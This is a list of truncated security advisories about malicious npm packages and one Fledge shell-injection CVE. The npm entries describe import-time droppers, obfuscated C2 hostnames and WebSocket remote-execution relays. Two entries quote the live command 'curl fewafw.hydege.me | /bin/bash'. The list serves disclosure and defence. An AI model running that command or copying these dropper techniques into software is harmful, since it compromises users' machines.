MAL-2026-12647 Malicious code in claims-use-callback-once (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bb8d807b141b53b48d7c3c104e9beb4904187499f289b79c1eda8f0bc91f8a1 On require of claims-use-callback-once, index.js unconditionally loads shim.js which selects a platform-specific payload path, fetches an executable...

Malicious code in cobrowsing-exception-filter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 715fc9a652bf5d69755ea21ef2a906c318c511fe433df0721a13e266c3646832 On require of cobrowsing-exception-filter, index.js unconditionally loads support.js, which selects a platform-specific endpoint from a hardcoded lis...

MAL-2026-12658 Malicious code in cobrowsing-test-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d1bf15c3c22d00f3a54f331ad3195c9072a94320a03f0f519dfbe95ca2e834de [email protected] executes a full-host dropper on require. index.js loads support.js, which on import reconstructs obfuscated hostnames fr...

MAL-2026-12668 Malicious code in custom-plugins-request-factory (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c25a4c4f3672ed82aa59bcac3fff0c6eadcb3eb35add0f52155c4436cba62c52 The package's main entry auto-requires setup.js on load, which fetches a platform-specific executable from split-string-obfuscated Cloudflare Workers...

Malicious code in delivery-ci-microforms (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3ffef831e876b8114ebfd6559d38f34d2c559dd42263845899e45ee621aa15c7 On require'delivery-ci-microforms', index.js loads support.js which selects a platform-specific endpoint whose hostname is reassembled at runtime fro...

Malicious code in delivery-ci-notify (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebf92bb7d56497b7cc6eb6b7b04a210fb531faa624a9c1b97e830fbf745d6258 On require of delivery-ci-notify, index.js loads shim.js which selects a platform-specific asset, downloads a native binary from one of three hardcod...

MAL-2026-12688 Malicious code in delivery-ci-validate (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 95a6fb547c4fb156493439557692dc83b73f44deee6687ec535882f7e8ccf490 Requiring delivery-ci-validate loads polyfill.js, which assembles destination hostnames from split string fragments joined at runtime e.g...

MAL-2026-12695 Malicious code in devplatform-api-v2-resource-mock (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cde262833260cbba75c5fdd2160e0f91a6c43c0f7ad202b44475c649772c1174 [email protected] is an import-time dropper. The package's main entry index.js requires compat.js, which on load assembles C2...

MAL-2026-12699 Malicious code in devplatform-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 626164264796294f1cb4322c03454ff5d9c50f7f0edb7534bfb6a5843d08079d On require of devplatform-cli, index.js loads adapter.js which assembles Cloudflare Workers hostnames from string-split fragments e.g...

Malicious code in devplatform-cra-template (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 23e3df86e82704f0b114e616b4dc7f4acd0e5c377a336a61cb987625a31f3940 On require'devplatform-cra-template', index.js loads bootstrap.js, which selects a per-platform payload path and downloads bytes over HTTPS from one ...

Malicious code in devplatform-nx-spa (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8fa5cc0213b5b28609ba1035cb25dd701d3e8690f25b5a3b4dc37f5139fa740 On require of the package, index.js loads support.js, whose top-level init selects a platform-specific asset, downloads a native binary from one of...

MAL-2026-12746 Malicious code in devplatform-rest-resources-v2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 51db57b10cf3d072768e05a81ef61a8b1fffef1437ab1455ca04d1227d845316 On require of devplatform-rest-resources-v2, index.js loads adapter.js which selects a per-OS payload path, fetches an opaque binary over HTTPS from...

MAL-2026-12783 Malicious code in devplatform-spa-route-tree (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eabd446648c0aff2fa8f21202eeee1f46366ff6678c7811f951ff7f2413616cd On require of devplatform-spa-route-tree, index.js loads loader.js which downloads a platform-specific binary from hostnames assembled via array-join...

Malicious code in @kyronixai/executer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 48b2b754238c0894255adde45556c981418ba0ddc726afe30cc94f514f255297 The package's public API opens a WebSocket to the hardcoded endpoint wss://kyronix.harshitnakrani.me/ws/executer and dispatches incoming...

CVE-2026-71284

Fledge's backup-restore upload handler, uploadbackup python/fledge/services/core/api/backuprestore.py, takes the first extracted tar member's filename tarfilenames0 and builds a shell command via string formatting. Because os.system invokes a shell and no quoting shlex.quote, list-form subprocess...

MAL-2026-12793 Malicious code in helixbox-connect (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 45774464be73a3ba586a4eb9af5a89b3f2439a4f49a80c0b69eb4668cfcf7f89 The helixbox-connect bin opens a WebSocket to the hardcoded relay wss://helixbox-relay.onrender.com and dispatches messages from the peer into local...

MAL-2026-12430 Malicious code in rollup-plugins-polyfills-rode (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 09fa29e5d68238ff42feaba875bbfe1dbeed5214478a811e504bbed05bf7797d [email protected] is a typosquat of rollup-plugin-polyfill-node whose repository URL it copies verbatim into its own package.json...

Malicious code in @mgor/fw-canary-20260725-394b024b (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37 index.js, the package's declared main entry point, unconditionally executes curl fewafw.hydege.me | /bin/bash at top level. Any consumer that require...

MAL-2026-12321 Malicious code in @mgor/fw-canary-20260725-394b024b (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37 index.js, the package's declared main entry point, unconditionally executes curl fewafw.hydege.me | /bin/bash at top level. Any consumer that require...

Malicious code in @ccfly/setup-darwin-x64 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 409d11825a61bed068425296e83dcc0c87427579f7b5d724ec52e5e87465f2b5 The package ships a prebuilt darwin/x64 Mach-O binary containing a Go agent module github.com/ccfly/rescue that, when executed, connects to a hardcod...